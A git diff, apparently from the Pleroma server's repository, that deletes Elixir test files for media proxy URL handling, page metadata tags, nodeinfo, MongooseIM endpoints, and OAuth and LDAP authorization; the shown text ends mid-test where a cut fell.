- test "preserve ASCII encoding" do - url = - "https://pleroma.com/%20/%21/%22/%23/%24/%25/%26/%27/%28/%29/%2A/%2B/%2C/%2D/%2E/%2F/%30/%31/%32/%33/%34/%35/%36/%37/%38/%39/%3A/%3B/%3C/%3D/%3E/%3F/%40/%41/%42/%43/%44/%45/%46/%47/%48/%49/%4A/%4B/%4C/%4D/%4E/%4F/%50/%51/%52/%53/%54/%55/%56/%57/%58/%59/%5A/%5B/%5C/%5D/%5E/%5F/%60/%61/%62/%63/%64/%65/%66/%67/%68/%69/%6A/%6B/%6C/%6D/%6E/%6F/%70/%71/%72/%73/%74/%75/%76/%77/%78/%79/%7A/%7B/%7C/%7D/%7E/%7F/%80/%81/%82/%83/%84/%85/%86/%87/%88/%89/%8A/%8B/%8C/%8D/%8E/%8F/%90/%91/%92/%93/%94/%95/%96/%97/%98/%99/%9A/%9B/%9C/%9D/%9E/%9F/%C2%A0/%A1/%A2/%A3/%A4/%A5/%A6/%A7/%A8/%A9/%AA/%AB/%AC/%C2%AD/%AE/%AF/%B0/%B1/%B2/%B3/%B4/%B5/%B6/%B7/%B8/%B9/%BA/%BB/%BC/%BD/%BE/%BF/%C0/%C1/%C2/%C3/%C4/%C5/%C6/%C7/%C8/%C9/%CA/%CB/%CC/%CD/%CE/%CF/%D0/%D1/%D2/%D3/%D4/%D5/%D6/%D7/%D8/%D9/%DA/%DB/%DC/%DD/%DE/%DF/%E0/%E1/%E2/%E3/%E4/%E5/%E6/%E7/%E8/%E9/%EA/%EB/%EC/%ED/%EE/%EF/%F0/%F1/%F2/%F3/%F4/%F5/%F6/%F7/%F8/%F9/%FA/%FB/%FC/%FD/%FE/%FF" - - encoded = MediaProxy.url(url) - assert decode_result(encoded) == url - end - - # This includes unsafe/reserved characters which are not interpreted as part of the URL - # and would otherwise have to be ASCII encoded. It is our role to ensure the proxied URL - # is unmodified, so we are testing these characters anyway. - test "preserve non-unicode characters per RFC3986" do - url = - "https://pleroma.com/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890-._~:/?#[]@!$&'()*+,;=|^`{}" - - encoded = MediaProxy.url(url) - assert decode_result(encoded) == url - end - - test "preserve unicode characters" do - url = "https://ko.wikipedia.org/wiki/위키백과:대문" - - encoded = MediaProxy.url(url) - assert decode_result(encoded) == url - end - end - - describe "when disabled" do - setup do: clear_config([:media_proxy, :enabled], false) - - test "does not encode remote urls" do - assert MediaProxy.url("https://google.fr") == "https://google.fr" - end - end - - describe "whitelist" do - setup do: clear_config([:media_proxy, :enabled], true) - - test "mediaproxy whitelist" do - clear_config([:media_proxy, :whitelist], ["https://google.com", "https://feld.me"]) - url = "https://feld.me/foo.png" - - unencoded = MediaProxy.url(url) - assert unencoded == url - end - - # TODO: delete after removing support bare domains for media proxy whitelist - test "mediaproxy whitelist bare domains whitelist (deprecated)" do - clear_config([:media_proxy, :whitelist], ["google.com", "feld.me"]) - url = "https://feld.me/foo.png" - - unencoded = MediaProxy.url(url) - assert unencoded == url - end - - test "does not change whitelisted urls" do - clear_config([:media_proxy, :whitelist], ["mycdn.akamai.com"]) - clear_config([:media_proxy, :base_url], "https://cache.pleroma.social") - - media_url = "https://mycdn.akamai.com" - - url = "#{media_url}/static/logo.png" - encoded = MediaProxy.url(url) - - assert String.starts_with?(encoded, media_url) - end - - test "ensure Pleroma.Upload base_url is always whitelisted" do - media_url = "https://media.pleroma.social" - clear_config([Pleroma.Upload, :base_url], media_url) - - url = "#{media_url}/static/logo.png" - encoded = MediaProxy.url(url) - - assert String.starts_with?(encoded, media_url) - end - end -end diff --git a/test/web/metadata/feed_test.exs b/test/web/metadata/feed_test.exs deleted file mode 100644 index e6e5cc5ed..000000000 --- a/test/web/metadata/feed_test.exs +++ /dev/null @@ -1,18 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.FeedTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.Metadata.Providers.Feed - - test "it renders a link to user's atom feed" do - user = insert(:user, nickname: "lain") - - assert Feed.build_tags(%{user: user}) == [ - {:link, - [rel: "alternate", type: "application/atom+xml", href: "/users/lain/feed.atom"], []} - ] - end -end diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs deleted file mode 100644 index ca6cbe67f..000000000 --- a/test/web/metadata/metadata_test.exs +++ /dev/null @@ -1,49 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MetadataTest do - use Pleroma.DataCase, async: true - - import Pleroma.Factory - - describe "restrict indexing remote users" do - test "for remote user" do - user = insert(:user, local: false) - - assert Pleroma.Web.Metadata.build_tags(%{user: user}) =~ - "<meta content=\"noindex, noarchive\" name=\"robots\">" - end - - test "for local user" do - user = insert(:user, discoverable: false) - - assert Pleroma.Web.Metadata.build_tags(%{user: user}) =~ - "<meta content=\"noindex, noarchive\" name=\"robots\">" - end - - test "for local user set to discoverable" do - user = insert(:user, discoverable: true) - - refute Pleroma.Web.Metadata.build_tags(%{user: user}) =~ - "<meta content=\"noindex, noarchive\" name=\"robots\">" - end - end - - describe "no metadata for private instances" do - test "for local user set to discoverable" do - clear_config([:instance, :public], false) - user = insert(:user, bio: "This is my secret fedi account bio", discoverable: true) - - assert "" = Pleroma.Web.Metadata.build_tags(%{user: user}) - end - - test "search exclusion metadata is included" do - clear_config([:instance, :public], false) - user = insert(:user, bio: "This is my secret fedi account bio", discoverable: false) - - assert ~s(<meta content="noindex, noarchive" name="robots">) == - Pleroma.Web.Metadata.build_tags(%{user: user}) - end - end -end diff --git a/test/web/metadata/opengraph_test.exs b/test/web/metadata/opengraph_test.exs deleted file mode 100644 index 218540e6c..000000000 --- a/test/web/metadata/opengraph_test.exs +++ /dev/null @@ -1,96 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.OpenGraphTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.Metadata.Providers.OpenGraph - - setup do: clear_config([Pleroma.Web.Metadata, :unfurl_nsfw]) - - test "it renders all supported types of attachments and skips unknown types" do - user = insert(:user) - - note = - insert(:note, %{ - data: %{ - "actor" => user.ap_id, - "tag" => [], - "id" => "https://pleroma.gov/objects/whatever", - "content" => "pleroma in a nutshell", - "attachment" => [ - %{ - "url" => [ - %{"mediaType" => "image/png", "href" => "https://pleroma.gov/tenshi.png"} - ] - }, - %{ - "url" => [ - %{ - "mediaType" => "application/octet-stream", - "href" => "https://pleroma.gov/fqa/badapple.sfc" - } - ] - }, - %{ - "url" => [ - %{"mediaType" => "video/webm", "href" => "https://pleroma.gov/about/juche.webm"} - ] - }, - %{ - "url" => [ - %{ - "mediaType" => "audio/basic", - "href" => "http://www.gnu.org/music/free-software-song.au" - } - ] - } - ] - } - }) - - result = OpenGraph.build_tags(%{object: note, url: note.data["id"], user: user}) - - assert Enum.all?( - [ - {:meta, [property: "og:image", content: "https://pleroma.gov/tenshi.png"], []}, - {:meta, - [property: "og:audio", content: "http://www.gnu.org/music/free-software-song.au"], - []}, - {:meta, [property: "og:video", content: "https://pleroma.gov/about/juche.webm"], - []} - ], - fn element -> element in result end - ) - end - - test "it does not render attachments if post is nsfw" do - Pleroma.Config.put([Pleroma.Web.Metadata, :unfurl_nsfw], false) - user = insert(:user, avatar: %{"url" => [%{"href" => "https://pleroma.gov/tenshi.png"}]}) - - note = - insert(:note, %{ - data: %{ - "actor" => user.ap_id, - "id" => "https://pleroma.gov/objects/whatever", - "content" => "#cuteposting #nsfw #hambaga", - "tag" => ["cuteposting", "nsfw", "hambaga"], - "sensitive" => true, - "attachment" => [ - %{ - "url" => [ - %{"mediaType" => "image/png", "href" => "https://misskey.microsoft/corndog.png"} - ] - } - ] - } - }) - - result = OpenGraph.build_tags(%{object: note, url: note.data["id"], user: user}) - - assert {:meta, [property: "og:image", content: "https://pleroma.gov/tenshi.png"], []} in result - - refute {:meta, [property: "og:image", content: "https://misskey.microsoft/corndog.png"], []} in result - end -end diff --git a/test/web/metadata/player_view_test.exs b/test/web/metadata/player_view_test.exs deleted file mode 100644 index e6c990242..000000000 --- a/test/web/metadata/player_view_test.exs +++ /dev/null @@ -1,33 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.PlayerViewTest do - use Pleroma.DataCase - - alias Pleroma.Web.Metadata.PlayerView - - test "it renders audio tag" do - res = - PlayerView.render( - "player.html", - %{"mediaType" => "audio", "href" => "test-href"} - ) - |> Phoenix.HTML.safe_to_string() - - assert res == - "<audio controls><source src=\"test-href\" type=\"audio\">Your browser does not support audio playback.</audio>" - end - - test "it renders videos tag" do - res = - PlayerView.render( - "player.html", - %{"mediaType" => "video", "href" => "test-href"} - ) - |> Phoenix.HTML.safe_to_string() - - assert res == - "<video controls loop><source src=\"test-href\" type=\"video\">Your browser does not support video playback.</video>" - end -end diff --git a/test/web/metadata/rel_me_test.exs b/test/web/metadata/rel_me_test.exs deleted file mode 100644 index 2293d6e13..000000000 --- a/test/web/metadata/rel_me_test.exs +++ /dev/null @@ -1,21 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.RelMeTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.Metadata.Providers.RelMe - - test "it renders all links with rel='me' from user bio" do - bio = - ~s(<a href="https://some-link.com">https://some-link.com</a> <a rel="me" href="https://another-link.com">https://another-link.com</a> <link href="http://some.com"> <link rel="me" href="http://some3.com">) - - user = insert(:user, %{bio: bio}) - - assert RelMe.build_tags(%{user: user}) == [ - {:link, [rel: "me", href: "http://some3.com"], []}, - {:link, [rel: "me", href: "https://another-link.com"], []} - ] - end -end diff --git a/test/web/metadata/restrict_indexing_test.exs b/test/web/metadata/restrict_indexing_test.exs deleted file mode 100644 index 6b3a65372..000000000 --- a/test/web/metadata/restrict_indexing_test.exs +++ /dev/null @@ -1,27 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.RestrictIndexingTest do - use ExUnit.Case, async: true - - describe "build_tags/1" do - test "for remote user" do - assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ - user: %Pleroma.User{local: false} - }) == [{:meta, [name: "robots", content: "noindex, noarchive"], []}] - end - - test "for local user" do - assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ - user: %Pleroma.User{local: true, discoverable: true} - }) == [] - end - - test "for local user when discoverable is false" do - assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ - user: %Pleroma.User{local: true, discoverable: false} - }) == [{:meta, [name: "robots", content: "noindex, noarchive"], []}] - end - end -end diff --git a/test/web/metadata/twitter_card_test.exs b/test/web/metadata/twitter_card_test.exs deleted file mode 100644 index 10931b5ba..000000000 --- a/test/web/metadata/twitter_card_test.exs +++ /dev/null @@ -1,150 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.TwitterCardTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.User - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Endpoint - alias Pleroma.Web.Metadata.Providers.TwitterCard - alias Pleroma.Web.Metadata.Utils - alias Pleroma.Web.Router - - setup do: clear_config([Pleroma.Web.Metadata, :unfurl_nsfw]) - - test "it renders twitter card for user info" do - user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") - avatar_url = Utils.attachment_url(User.avatar_url(user)) - res = TwitterCard.build_tags(%{user: user}) - - assert res == [ - {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, - {:meta, [property: "twitter:description", content: "born 19 March 1994"], []}, - {:meta, [property: "twitter:image", content: avatar_url], []}, - {:meta, [property: "twitter:card", content: "summary"], []} - ] - end - - test "it uses summary twittercard if post has no attachment" do - user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") - {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) - - note = - insert(:note, %{ - data: %{ - "actor" => user.ap_id, - "tag" => [], - "id" => "https://pleroma.gov/objects/whatever", - "content" => "pleroma in a nutshell" - } - }) - - result = TwitterCard.build_tags(%{object: note, user: user, activity_id: activity.id}) - - assert [ - {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, - {:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []}, - {:meta, [property: "twitter:image", content: "http://localhost:4001/images/avi.png"], - []}, - {:meta, [property: "twitter:card", content: "summary"], []} - ] == result - end - - test "it renders avatar not attachment if post is nsfw and unfurl_nsfw is disabled" do - Pleroma.Config.put([Pleroma.Web.Metadata, :unfurl_nsfw], false) - user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") - {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) - - note = - insert(:note, %{ - data: %{ - "actor" => user.ap_id, - "tag" => [], - "id" => "https://pleroma.gov/objects/whatever", - "content" => "pleroma in a nutshell", - "sensitive" => true, - "attachment" => [ - %{ - "url" => [%{"mediaType" => "image/png", "href" => "https://pleroma.gov/tenshi.png"}] - }, - %{ - "url" => [ - %{ - "mediaType" => "application/octet-stream", - "href" => "https://pleroma.gov/fqa/badapple.sfc" - } - ] - }, - %{ - "url" => [ - %{"mediaType" => "video/webm", "href" => "https://pleroma.gov/about/juche.webm"} - ] - } - ] - } - }) - - result = TwitterCard.build_tags(%{object: note, user: user, activity_id: activity.id}) - - assert [ - {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, - {:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []}, - {:meta, [property: "twitter:image", content: "http://localhost:4001/images/avi.png"], - []}, - {:meta, [property: "twitter:card", content: "summary"], []} - ] == result - end - - test "it renders supported types of attachments and skips unknown types" do - user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") - {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) - - note = - insert(:note, %{ - data: %{ - "actor" => user.ap_id, - "tag" => [], - "id" => "https://pleroma.gov/objects/whatever", - "content" => "pleroma in a nutshell", - "attachment" => [ - %{ - "url" => [%{"mediaType" => "image/png", "href" => "https://pleroma.gov/tenshi.png"}] - }, - %{ - "url" => [ - %{ - "mediaType" => "application/octet-stream", - "href" => "https://pleroma.gov/fqa/badapple.sfc" - } - ] - }, - %{ - "url" => [ - %{"mediaType" => "video/webm", "href" => "https://pleroma.gov/about/juche.webm"} - ] - } - ] - } - }) - - result = TwitterCard.build_tags(%{object: note, user: user, activity_id: activity.id}) - - assert [ - {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, - {:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []}, - {:meta, [property: "twitter:card", content: "summary_large_image"], []}, - {:meta, [property: "twitter:player", content: "https://pleroma.gov/tenshi.png"], []}, - {:meta, [property: "twitter:card", content: "player"], []}, - {:meta, - [ - property: "twitter:player", - content: Router.Helpers.o_status_url(Endpoint, :notice_player, activity.id) - ], []}, - {:meta, [property: "twitter:player:width", content: "480"], []}, - {:meta, [property: "twitter:player:height", content: "480"], []} - ] == result - end -end diff --git a/test/web/metadata/utils_test.exs b/test/web/metadata/utils_test.exs deleted file mode 100644 index 8183256d8..000000000 --- a/test/web/metadata/utils_test.exs +++ /dev/null @@ -1,32 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.UtilsTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.Metadata.Utils - - describe "scrub_html_and_truncate/1" do - test "it returns text without encode HTML" do - user = insert(:user) - - note = - insert(:note, %{ - data: %{ - "actor" => user.ap_id, - "id" => "https://pleroma.gov/objects/whatever", - "content" => "Pleroma's really cool!" - } - }) - - assert Utils.scrub_html_and_truncate(note) == "Pleroma's really cool!" - end - end - - describe "scrub_html_and_truncate/2" do - test "it returns text without encode HTML" do - assert Utils.scrub_html_and_truncate("Pleroma's really cool!") == "Pleroma's really cool!" - end - end -end diff --git a/test/web/mongooseim/mongoose_im_controller_test.exs b/test/web/mongooseim/mongoose_im_controller_test.exs deleted file mode 100644 index 5176cde84..000000000 --- a/test/web/mongooseim/mongoose_im_controller_test.exs +++ /dev/null @@ -1,81 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MongooseIMController do - use Pleroma.Web.ConnCase - import Pleroma.Factory - - test "/user_exists", %{conn: conn} do - _user = insert(:user, nickname: "lain") - _remote_user = insert(:user, nickname: "alice", local: false) - _deactivated_user = insert(:user, nickname: "konata", deactivated: true) - - res = - conn - |> get(mongoose_im_path(conn, :user_exists), user: "lain") - |> json_response(200) - - assert res == true - - res = - conn - |> get(mongoose_im_path(conn, :user_exists), user: "alice") - |> json_response(404) - - assert res == false - - res = - conn - |> get(mongoose_im_path(conn, :user_exists), user: "bob") - |> json_response(404) - - assert res == false - - res = - conn - |> get(mongoose_im_path(conn, :user_exists), user: "konata") - |> json_response(404) - - assert res == false - end - - test "/check_password", %{conn: conn} do - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt("cool")) - - _deactivated_user = - insert(:user, - nickname: "konata", - deactivated: true, - password_hash: Pbkdf2.hash_pwd_salt("cool") - ) - - res = - conn - |> get(mongoose_im_path(conn, :check_password), user: user.nickname, pass: "cool") - |> json_response(200) - - assert res == true - - res = - conn - |> get(mongoose_im_path(conn, :check_password), user: user.nickname, pass: "uncool") - |> json_response(403) - - assert res == false - - res = - conn - |> get(mongoose_im_path(conn, :check_password), user: "konata", pass: "cool") - |> json_response(404) - - assert res == false - - res = - conn - |> get(mongoose_im_path(conn, :check_password), user: "nobody", pass: "cool") - |> json_response(404) - - assert res == false - end -end diff --git a/test/web/node_info_test.exs b/test/web/node_info_test.exs deleted file mode 100644 index 06b33607f..000000000 --- a/test/web/node_info_test.exs +++ /dev/null @@ -1,188 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.NodeInfoTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Config - - setup do: clear_config([:mrf_simple]) - setup do: clear_config(:instance) - - test "GET /.well-known/nodeinfo", %{conn: conn} do - links = - conn - |> get("/.well-known/nodeinfo") - |> json_response(200) - |> Map.fetch!("links") - - Enum.each(links, fn link -> - href = Map.fetch!(link, "href") - - conn - |> get(href) - |> json_response(200) - end) - end - - test "nodeinfo shows staff accounts", %{conn: conn} do - moderator = insert(:user, local: true, is_moderator: true) - admin = insert(:user, local: true, is_admin: true) - - conn = - conn - |> get("/nodeinfo/2.1.json") - - assert result = json_response(conn, 200) - - assert moderator.ap_id in result["metadata"]["staffAccounts"] - assert admin.ap_id in result["metadata"]["staffAccounts"] - end - - test "nodeinfo shows restricted nicknames", %{conn: conn} do - conn = - conn - |> get("/nodeinfo/2.1.json") - - assert result = json_response(conn, 200) - - assert Config.get([Pleroma.User, :restricted_nicknames]) == - result["metadata"]["restrictedNicknames"] - end - - test "returns software.repository field in nodeinfo 2.1", %{conn: conn} do - conn - |> get("/.well-known/nodeinfo") - |> json_response(200) - - conn = - conn - |> get("/nodeinfo/2.1.json") - - assert result = json_response(conn, 200) - assert Pleroma.Application.repository() == result["software"]["repository"] - end - - test "returns fieldsLimits field", %{conn: conn} do - clear_config([:instance, :max_account_fields], 10) - clear_config([:instance, :max_remote_account_fields], 15) - clear_config([:instance, :account_field_name_length], 255) - clear_config([:instance, :account_field_value_length], 2048) - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - assert response["metadata"]["fieldsLimits"]["maxFields"] == 10 - assert response["metadata"]["fieldsLimits"]["maxRemoteFields"] == 15 - assert response["metadata"]["fieldsLimits"]["nameLength"] == 255 - assert response["metadata"]["fieldsLimits"]["valueLength"] == 2048 - end - - test "it returns the safe_dm_mentions feature if enabled", %{conn: conn} do - clear_config([:instance, :safe_dm_mentions], true) - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - assert "safe_dm_mentions" in response["metadata"]["features"] - - Config.put([:instance, :safe_dm_mentions], false) - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - refute "safe_dm_mentions" in response["metadata"]["features"] - end - - describe "`metadata/federation/enabled`" do - setup do: clear_config([:instance, :federating]) - - test "it shows if federation is enabled/disabled", %{conn: conn} do - Config.put([:instance, :federating], true) - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - assert response["metadata"]["federation"]["enabled"] == true - - Config.put([:instance, :federating], false) - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - assert response["metadata"]["federation"]["enabled"] == false - end - end - - test "it shows default features flags", %{conn: conn} do - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - default_features = [ - "pleroma_api", - "mastodon_api", - "mastodon_api_streaming", - "polls", - "pleroma_explicit_addressing", - "shareable_emoji_packs", - "multifetch", - "pleroma_emoji_reactions", - "pleroma:api/v1/notifications:include_types_filter", - "pleroma_chat_messages" - ] - - assert MapSet.subset?( - MapSet.new(default_features), - MapSet.new(response["metadata"]["features"]) - ) - end - - test "it shows MRF transparency data if enabled", %{conn: conn} do - clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.SimplePolicy]) - clear_config([:mrf, :transparency], true) - - simple_config = %{"reject" => ["example.com"]} - clear_config(:mrf_simple, simple_config) - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - assert response["metadata"]["federation"]["mrf_simple"] == simple_config - end - - test "it performs exclusions from MRF transparency data if configured", %{conn: conn} do - clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.SimplePolicy]) - clear_config([:mrf, :transparency], true) - clear_config([:mrf, :transparency_exclusions], ["other.site"]) - - simple_config = %{"reject" => ["example.com", "other.site"]} - clear_config(:mrf_simple, simple_config) - - expected_config = %{"reject" => ["example.com"]} - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - assert response["metadata"]["federation"]["mrf_simple"] == expected_config - assert response["metadata"]["federation"]["exclusions"] == true - end -end diff --git a/test/web/oauth/app_test.exs b/test/web/oauth/app_test.exs deleted file mode 100644 index 993a490e0..000000000 --- a/test/web/oauth/app_test.exs +++ /dev/null @@ -1,44 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.AppTest do - use Pleroma.DataCase - - alias Pleroma.Web.OAuth.App - import Pleroma.Factory - - describe "get_or_make/2" do - test "gets exist app" do - attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} - app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]})) - {:ok, %App{} = exist_app} = App.get_or_make(attrs, []) - assert exist_app == app - end - - test "make app" do - attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} - {:ok, %App{} = app} = App.get_or_make(attrs, ["write"]) - assert app.scopes == ["write"] - end - - test "gets exist app and updates scopes" do - attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} - app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]})) - {:ok, %App{} = exist_app} = App.get_or_make(attrs, ["read", "write", "follow", "push"]) - assert exist_app.id == app.id - assert exist_app.scopes == ["read", "write", "follow", "push"] - end - - test "has unique client_id" do - insert(:oauth_app, client_name: "", redirect_uris: "", client_id: "boop") - - error = - catch_error(insert(:oauth_app, client_name: "", redirect_uris: "", client_id: "boop")) - - assert %Ecto.ConstraintError{} = error - assert error.constraint == "apps_client_id_index" - assert error.type == :unique - end - end -end diff --git a/test/web/oauth/authorization_test.exs b/test/web/oauth/authorization_test.exs deleted file mode 100644 index d74b26cf8..000000000 --- a/test/web/oauth/authorization_test.exs +++ /dev/null @@ -1,77 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.AuthorizationTest do - use Pleroma.DataCase - alias Pleroma.Web.OAuth.App - alias Pleroma.Web.OAuth.Authorization - import Pleroma.Factory - - setup do - {:ok, app} = - Repo.insert( - App.register_changeset(%App{}, %{ - client_name: "client", - scopes: ["read", "write"], - redirect_uris: "url" - }) - ) - - %{app: app} - end - - test "create an authorization token for a valid app", %{app: app} do - user = insert(:user) - - {:ok, auth1} = Authorization.create_authorization(app, user) - assert auth1.scopes == app.scopes - - {:ok, auth2} = Authorization.create_authorization(app, user, ["read"]) - assert auth2.scopes == ["read"] - - for auth <- [auth1, auth2] do - assert auth.user_id == user.id - assert auth.app_id == app.id - assert String.length(auth.token) > 10 - assert auth.used == false - end - end - - test "use up a token", %{app: app} do - user = insert(:user) - - {:ok, auth} = Authorization.create_authorization(app, user) - - {:ok, auth} = Authorization.use_token(auth) - - assert auth.used == true - - assert {:error, "already used"} == Authorization.use_token(auth) - - expired_auth = %Authorization{ - user_id: user.id, - app_id: app.id, - valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), -10), - token: "mytoken", - used: false - } - - {:ok, expired_auth} = Repo.insert(expired_auth) - - assert {:error, "token expired"} == Authorization.use_token(expired_auth) - end - - test "delete authorizations", %{app: app} do - user = insert(:user) - - {:ok, auth} = Authorization.create_authorization(app, user) - {:ok, auth} = Authorization.use_token(auth) - - Authorization.delete_user_authorizations(user) - - {_, invalid} = Authorization.use_token(auth) - - assert auth != invalid - end -end diff --git a/test/web/oauth/ldap_authorization_test.exs b/test/web/oauth/ldap_authorization_test.exs deleted file mode 100644 index 63b1c0eb8..000000000 --- a/test/web/oauth/ldap_authorization_test.exs +++ /dev/null @@ -1,135 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.LDAPAuthorizationTest do - use Pleroma.Web.ConnCase - alias Pleroma.Repo - alias Pleroma.Web.OAuth.Token - import Pleroma.Factory - import Mock - - @skip if !Code.ensure_loaded?(:eldap), do: :skip - - setup_all do: clear_config([:ldap, :enabled], true) - - setup_all do: clear_config(Pleroma.Web.Auth.Authenticator, Pleroma.Web.Auth.LDAPAuthenticator) - - @tag @skip - test "authorizes the existing user using LDAP credentials" do - password = "testpassword" - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) - app = insert(:oauth_app, scopes: ["read", "write"]) - - host = Pleroma.Config.get([:ldap, :host]) |> to_charlist - port = Pleroma.Config.get([:ldap, :port]) - - with_mocks [ - {:eldap, [], - [ - open: fn [^host], [{:port, ^port}, {:ssl, false} | _] -> {:ok, self()} end, - simple_bind: fn _connection, _dn, ^password -> :ok end, - close: fn _connection -> - send(self(), :close_connection) - :ok - end - ]} - ] do - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"access_token" => token} = json_response(conn, 200) - - token = Repo.get_by(Token, token: token) - - assert token.user_id == user.id - assert_received :close_connection - end - end - - @tag @skip - test "creates a new user after successful LDAP authorization" do - password = "testpassword" - user = build(:user) - app = insert(:oauth_app, scopes: ["read", "write"]) - - host = Pleroma.Config.get([:ldap, :host]) |> to_charlist - port = Pleroma.Config.get([:ldap, :port]) - - with_mocks [ - {:eldap, [], - [ - open: fn [^host], [{:port, ^port}, {:ssl, false} | _] -> {:ok, self()} end, - simple_bind: fn _connection, _dn, ^password -> :ok end, - equalityMatch: fn _type, _value -> :ok end, - wholeSubtree: fn -> :ok end, - search: fn _connection, _options -> - {:ok, {:eldap_search_result, [{:eldap_entry, '', []}], []}} - end, - close: fn _connection -> - send(self(), :close_connection) - :ok - end - ]} - ] do - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"access_token" => token} = json_response(conn, 200) - - token = Repo.get_by(Token, token: token) |> Repo.preload(:user) - - assert token.user.nickname == user.nickname - assert_received :close_connection - end - end - - @tag @skip - test "disallow authorization for wrong LDAP credentials" do - password = "testpassword" - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) - app = insert(:oauth_app, scopes: ["read", "write"]) - - host = Pleroma.Config.get([:ldap, :host]) |> to_charlist - port = Pleroma.Config.get([:ldap, :port]) - - with_mocks [ - {:eldap, [], - [ - open: fn [^host], [{:port, ^port}, {:ssl, false} | _] -> {:ok, self()} end, - simple_bind: fn 